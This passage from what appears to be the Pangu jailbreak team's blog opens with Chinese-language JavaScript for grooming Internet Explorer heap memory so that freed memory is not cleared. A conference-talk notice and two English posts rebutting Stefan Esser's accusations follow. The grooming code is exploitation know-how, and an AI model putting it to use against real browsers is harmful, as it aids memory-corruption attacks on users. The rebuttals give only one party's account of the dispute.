CollectGarbage();

这里还有一个问题,字符串虽然可以精确控制内存的每一字节,但在2014年7月的补丁后,这部分HTML的字符串内存在释放时会被清除掉,所以必须找一个替换的方法。在经过短时间的MSDN搜索后,我们发现很多ActiveX控件可以达到这个效果,只需要调用里面包含字符串操作的一些函数即可。这里不再赘述。另外,当我们并不需要精确控制第一个DWORD的时候,JS本身的字符串也可以满足要求。以字符串数组为例,我们通过拆分一个巨大的字符串生成数组,然后将这个数组清空,每一块内存均不会被清零,例如以空格为分隔符:

var longstr="";
var sprtr=" ";
for(i=0;i<1000;i++)
  longstr+=String.fromCharCode((i/100)%100+0x21,i%100+0x21,0x41,0x41,0x41,0x41).substr(0,3)+sprtr;
var vault=longstr.split(sprtr);
vault=null;
CollectGarbage();

这个方法可以在Win2003 IE8全补丁上达到精确控制未初始化内存的效果。

最后一点,此方法在JavaScript9.0,即IE9以上版本默认JS引擎上不能正常工作,所幸IE9以上版本可以指定JS引擎,因而只需要将JS引擎版本号降低便可。所以最后的代码应该是这种形式:

<script language="JScript.Compact">
var longstr="";
var sprtr=" ";
for(i=0;i<1000;i++)
  longstr+=String.fromCharCode((i/100)%100+0x21,i%100+0x21,0x41,0x41,0x41,0x41).substr(0,3)+sprtr;
var vault=longstr.split(sprtr);
vault=null;
CollectGarbage();
</script>

xKungFoo演讲

盘古团队在本周四(4.23)举办的xKungFoo2015会议上分享了”iOS内核漏洞挖掘–fuzz&代码审计”的议题,详细介绍如何挖掘iOS内核漏洞并给出几个内核漏洞的具体分析。

会议相关PPT下载:iOS内核漏洞挖掘

Let the Truth Speak for Itself

After the release of our blogpost, it is very funny to see Mr. Stefan continues to post unwarranted and spiteful conjectures on Twitter and his blogpost. We suggest the reader refer to our blogpost as well as his blogpost to understand the backgroud.

Among his numerous discriminations and accusations against us (such as calling us thieves and criminals), the main one is that he claims that we have been trying to buy/acquire vulnerabilities to achieve jailbreaks. The “horribly” strong evidence is a piece of chat history between him and @windknown, a member of our team. Although we think it is immoral to post private messages to the public, we do not mind showing the full chat history, and let the truth speak for itself.


The chat happened at June 23, 2014, after the first release of Pangu 7. After receiving his complaint, @windknown tried to communicate with Stefan to fix the “friendship” with Stefan. They already knew each other since 2009.

  • At the beginning, we apologized and suggested that Pangu Team should officially acknowledge Stefan for his contribution to Pangu 7. In fact, we did acknowledge him on both the website and the release notes of the jailbreak tool, before replacing his vulnerability with our own.
  • Next, we explained that we didn’t realize that we were not allowed to use the vulnerability which was discussed in the training. We even tried to share a different vulnerability discovered by our team with Stefan, in order to compensate his “lost”. We eventually used that vulnerability to replace the bug discussed in his training in Pangu jailbreak tool. It clearly indicates that there is no any need for us to buy any vulnerabilities for jailbreak at all, because we already had enough vulnerabilities for our jailbreak tool.
  • Then, we offered a more straightforward option, i.e., financial compensation. Since we were told that Stefan Esser has done some consulting projects for security companies in which he needs to provide details of vulnerabilities he discovered (a kind of business by selling bugs), we felt that using the vulnerability may affect Stefan’s business and thus tried to financially compensate him. Apparently, we cannot afford one million dollars, LOL.
  • Finally, about the new lightning debug cable, Stefan mentioned during the training course that he was very interested in it because it would be very helpful for his kernel debugging or iBoot stuff. He also asked us whether or not we were able to find such a cable in China. That’s why we propose to find such a cable so that we could compensate him. It is not very difficult to find similar cables in electronic markets like Zhongguancun.

So far, it is very clear that we tried our best to make Stefan happy and satisfied, but failed. We have to emphasize that trying to financially compensate Stefan happened after the release of Pangu 7. The fact is so straightforward, i.e., we used his vulnerability that we learned from the training, and he complained, so we proposed several ways including financial compensation to fix the mistake we made.

However, Stefan’s explanation and his blogpost misled the reader on purpose. Using a piece of the chat history without the context, Stefan deliberately misled the reader to believe the Pangu Team tried to buy vulnerability from him for jailbreak, which is definitely not true.

Ok, now let’s move to the more funny parts and see how his logic works.

  • He mentioned that “They even let one of their friends ask in the QA session of my talk at SyScan if I had physical proof for some of the things, so that they could get away with claiming that this is not true…”

After reading the text above, we have to suspect that Stefan might have persecutory delusions. In fact, how can we predict what Stefan would present at the conference? How can we arrange a friend to ask him a question? So far we still have no idea who asked what question. But It is completely not surprising if attendees challenge such a ridiculous judgment and ask for the existence of any evidences.

update(Apr 11, 2015): We just learned that @xi4oyu is the attendee who asked whether Stefan has any evidence after the uncomfortable talk. Unfortunately, he was misunderstood as if he were instructed by us, probably for language reasons. He posted several tweets to clarify the fact. We highly appreciate him for raising the question and clarifying the fact.

  • He also pointed out that “But it is also questionable how they can afford to organize security conferences in expensive chinese hotels when they only get these small amounts.”

Thanks for the advertisement. Following his logic, any organizers of security conferences must have unclear sponsorships, otherwise how can they run these conferences?
We are running a mobile security conference in Shanghai, please visit MOSEC website for more information. This conference is co-organized by our team and PoC which is a security conference in South Korea with 9 years history. We appreciate the supports and budgets from our partners and conference sponsors. Tickets are on sale now, with a reasonable price.

Stefan said we started the war. If you took a look at his tweets, you can easily find that, he kept attacking us, even the people who tried to defend for us, but we always kept silent until the release of his racism talk at Syscan 2015. Again, we wish all of these meaningless stuff end as soon as possible. However, if Stefan continues to distribute his unwarranted and spiteful conjectures and rumors, we will not keep silent.

Almost forgot to mention that we also wasted many hours, the same as Stefan, on writing the blog. Because of this, we even haven’t got time to test our exploits on iOS 8.3.

Have a good day/night.

Cheers,

Team Pangu

Jailbreak Should not Tolerate Regional Discrimination

Since the first release of our untethered jailbreak tool Pangu 7 in June 2014, there have been many ridiculous rumors, discriminations, and vilifications on our team, especially from Stefan Esser (‏@i0n1c). As a team of “nerds”, we did not want to waste time on responding such useless things and hoped that eventually these things would stop after a while. We put 100% efforts on developing new jailbreaks for iOS 8 and successfully released Pangu 8 roughly a month after iOS 8 was released.

We could ignore the increasingly unfunny and ridiculous comments on our team, but cannot bear the racist comments from Stefan Esser in his recent talk at Syscan, which deliberately separate the jailbreak community with “Chinese” and “Western” labels and are full of morbid imaginations. In fact, many well-known iOS “Western” hackers including comex and P0sixninja are visiting Beijing, China today for a mobile security summit.

Apparently, the Pangu team cannot represent all Chinese jailbreak developers. We hereby just want to clarify the rumors, discriminations, and vilifications on our team.

The financial sponsorship of the Pangu team is mainly used to cover the cost of developing jailbreak tools

The “1 million USD” rumor was first posted when evasi0n 7 was released.

For us, our sponsorship is mainly used to support the development of jailbreak tools, cover the cost of software testing, and facility the download servers, etc. Note that, to make our untethered jailbreak tool reliable, we need to test all hardware models from iPhone 4s to iPhone 6 Plus, from iPad 2 to iPad Air, all iOS versions from 7.1 to 8.1. The sponsorship is also used to purchase all kinds of iOS devices for the testing purpose. But anyway, we are also wondering where the “1 million USD” is, LOL.

The Pangu team does not buy vulnerabilities, never and ever

In the first version of Pangu 7, among a number of vulnerabilities exploited in Pangu 7, we used the kernel information leaks discussed in Stefan Esser’s training course which have no NDA for the training. Also, it’s said that the vulnerability was already spreaded in a small range. So we leveraged the vulnerability in order to save our own vulnerability for next jailbreaks. But after receiving Stefan Esser’s criticism, we immediately released a new version of the jailbreak tool in which we replaced the vulnerability with our own vulnerability.
We have the ability and knowledge to continue to find more vulnerabilities and develop untethered jailbreak tools. We are very confident that we do not need to buy any vulnerability.

The Pangu team did not use any stolen/leaked enterprise certificates

In Pangu 7 and Pangu 8, we leveraged expired enterprise certificates to initial the jailbreaking process. We are very glad that some of jailbreak fans donated their own expired enterprise certificates to us. On the other hand, an enterprise certificate only costs a few hundreds dollars. We don’t see any reason to steal an enterprise certificate.

Feedback to the community

We learned a lot from previous jailbreak tools and the jailbreak community. We also want to share our knowledge with the community. That’s why we presented the details of our techniques at Syscan360 2014, POC 2014, and CanSecWest 2015. We also have many blogs discussing patched vulnerabilities in iOS kernels at blog.pangu.io.

In addition, we closely worked with Saurik, the developer of Cydia, to make Cydia work on iOS 8. We hope jailbreak users would like our efforts.

We did obfuscate the code of our jailbreak tools, but it is mainly to prevent the jailbreak exploits from being used, and prevent Apple from easily understanding and fixing the vulnerabilities. So far it really worked.

With the every release of untethered jailbreaks, we always see similar nonsense comments from certain people. We felt very sad for wasting time on writing such a non-technical article. In our future talks at any security conference, we will only focus on technical stuff to respect all attendees, rather than wasting their time with balderdash. While some people run training courses based on iDevices jailbroken by public tools, jailbreak tool developers release tools for free and share the details of tools for free.

Yes, we are Chinese. We are grateful to the jailbreak community, and we are also proud of being a member of the jailbreak community and being able to contribute to the community. We were so excited that Pangu 7 and Pangu 8 were downloaded by many millions of times from all over the world. We hope the jailbreak community should not judge a work for its developers’ race, creed, color, or religion.

Finally, we will continue to put efforts on pure, technical research, and try our best to contribute to the security community in future. This is our final response to these comments.

Thanks,

The Pangu Team
March 27, 2015.